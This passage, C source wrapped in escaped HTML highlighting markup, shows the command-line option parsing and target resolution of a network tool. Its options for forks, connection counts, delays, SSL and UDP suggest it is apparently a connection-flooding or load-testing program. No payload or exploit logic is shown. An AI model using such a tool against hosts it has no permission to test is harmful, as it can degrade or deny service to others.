&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;help(); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;while&lt;/span&gt;&lt;span&gt;&amp;nbsp;((i&amp;nbsp;=&amp;nbsp;getopt(argc,&amp;nbsp;argv,&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;cf:C:dD:N:ei:kn:p:SuvV&amp;quot;&lt;/span&gt;&lt;span&gt;))&amp;nbsp;&amp;gt;=&amp;nbsp;0)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;switch&lt;/span&gt;&lt;span&gt;&amp;nbsp;(i)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;case&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&apos;c&apos;&lt;/span&gt;&lt;span&gt;:&amp;nbsp;close_connection++;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;break&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;case&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&apos;f&apos;&lt;/span&gt;&lt;span&gt;:&amp;nbsp;forks&amp;nbsp;=&amp;nbsp;atoi(optarg);&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;break&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;case&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&apos;N&apos;&lt;/span&gt;&lt;span&gt;:&amp;nbsp;connect_delay&amp;nbsp;=&amp;nbsp;atol(optarg);&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;break&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;case&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&apos;C&apos;&lt;/span&gt;&lt;span&gt;:&amp;nbsp;close_delay&amp;nbsp;=&amp;nbsp;atol(optarg);&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;break&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;case&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&apos;D&apos;&lt;/span&gt;&lt;span&gt;:&amp;nbsp;dump_delay&amp;nbsp;=&amp;nbsp;atol(optarg);&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;break&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;case&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&apos;d&apos;&lt;/span&gt;&lt;span&gt;:&amp;nbsp;dump&amp;nbsp;=&amp;nbsp;1;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;break&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;case&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&apos;e&apos;&lt;/span&gt;&lt;span&gt;:&amp;nbsp;exit_on_sock_error&amp;nbsp;=&amp;nbsp;1;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;break&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;case&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&apos;u&apos;&lt;/span&gt;&lt;span&gt;:&amp;nbsp;sock_type&amp;nbsp;=&amp;nbsp;SOCK_DGRAM; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sock_protocol&amp;nbsp;=&amp;nbsp;IPPROTO_UDP; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;break&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;case&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&apos;v&apos;&lt;/span&gt;&lt;span&gt;:&amp;nbsp;verbose&amp;nbsp;=&amp;nbsp;1;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;break&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;case&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&apos;V&apos;&lt;/span&gt;&lt;span&gt;:&amp;nbsp;debug&amp;nbsp;=&amp;nbsp;1;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;break&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;case&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&apos;i&apos;&lt;/span&gt;&lt;span&gt;:&amp;nbsp;infile&amp;nbsp;=&amp;nbsp;optarg;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;break&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;case&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&apos;k&apos;&lt;/span&gt;&lt;span&gt;:&amp;nbsp;keep_alive&amp;nbsp;=&amp;nbsp;0;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;break&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;case&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&apos;n&apos;&lt;/span&gt;&lt;span&gt;:&amp;nbsp;max_connects&amp;nbsp;=&amp;nbsp;atol(optarg);&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;break&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;case&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&apos;S&apos;&lt;/span&gt;&lt;span&gt;:&amp;nbsp;use_ssl&amp;nbsp;=&amp;nbsp;1; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(port&amp;nbsp;==&amp;nbsp;PORT) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;port&amp;nbsp;=&amp;nbsp;443; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;preprocessor&quot;&gt;#ifndef&amp;nbsp;OPENSSL &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fprintf(stderr,&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;Error:&amp;nbsp;Not&amp;nbsp;compiled&amp;nbsp;with&amp;nbsp;openssl&amp;nbsp;support,&amp;nbsp;use&amp;nbsp;-DOPENSSL&amp;nbsp;-lssl\n&amp;quot;&lt;/span&gt;&lt;span&gt;); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(-1); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;preprocessor&quot;&gt;#endif &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;break&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;case&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&apos;p&apos;&lt;/span&gt;&lt;span&gt;:&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(atoi(optarg)&amp;nbsp;&amp;lt;&amp;nbsp;1&amp;nbsp;||&amp;nbsp;atoi(optarg)&amp;nbsp;&amp;gt;&amp;nbsp;65535)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fprintf(stderr,&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;Error:&amp;nbsp;port&amp;nbsp;must&amp;nbsp;be&amp;nbsp;between&amp;nbsp;1&amp;nbsp;and&amp;nbsp;65535\n&amp;quot;&lt;/span&gt;&lt;span&gt;); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(-1); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;port&amp;nbsp;=&amp;nbsp;atoi(optarg)&amp;nbsp;%&amp;nbsp;65536; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;break&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;default&lt;/span&gt;&lt;span&gt;:&amp;nbsp;fprintf(stderr,&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;Error:&amp;nbsp;unknown&amp;nbsp;option&amp;nbsp;-%c\n&amp;quot;&lt;/span&gt;&lt;span&gt;,&amp;nbsp;i);&amp;nbsp;help(); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(optind&amp;nbsp;+&amp;nbsp;1&amp;nbsp;!=&amp;nbsp;argc)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fprintf(stderr,&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;Error:&amp;nbsp;target&amp;nbsp;missing&amp;nbsp;or&amp;nbsp;too&amp;nbsp;many&amp;nbsp;commandline&amp;nbsp;options!\n&amp;quot;&lt;/span&gt;&lt;span&gt;); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(-1); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(infile&amp;nbsp;!=&amp;nbsp;NULL)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;((f&amp;nbsp;=&amp;nbsp;fopen(infile,&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;r&amp;quot;&lt;/span&gt;&lt;span&gt;))&amp;nbsp;==&amp;nbsp;NULL)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fprintf(stderr,&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;Error:&amp;nbsp;can&amp;nbsp;not&amp;nbsp;find&amp;nbsp;file&amp;nbsp;%s\n&amp;quot;&lt;/span&gt;&lt;span&gt;,&amp;nbsp;infile); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(-1); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fstat(fileno(f),&amp;nbsp;&amp;amp;st); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;str_len&amp;nbsp;=&amp;nbsp;(&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;)&amp;nbsp;st.st_size; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;str&amp;nbsp;=&amp;nbsp;malloc(str_len); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fread(str,&amp;nbsp;str_len,&amp;nbsp;1,&amp;nbsp;f); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fclose(f); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;((resolv&amp;nbsp;=&amp;nbsp;gethostbyname(argv[argc-1]))&amp;nbsp;==&amp;nbsp;NULL)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fprintf(stderr,&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;Error:&amp;nbsp;can&amp;nbsp;not&amp;nbsp;resolve&amp;nbsp;target\n&amp;quot;&lt;/span&gt;&lt;span&gt;); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(-1); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memset(&amp;amp;target,&amp;nbsp;0,&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;sizeof&lt;/span&gt;&lt;span&gt;(target)); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memcpy(&amp;amp;target.sin_addr.s_addr,&amp;nbsp;resolv-&amp;gt;h_addr,&amp;nbsp;4); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;target.sin_port&amp;nbsp;=&amp;nbsp;htons(port); 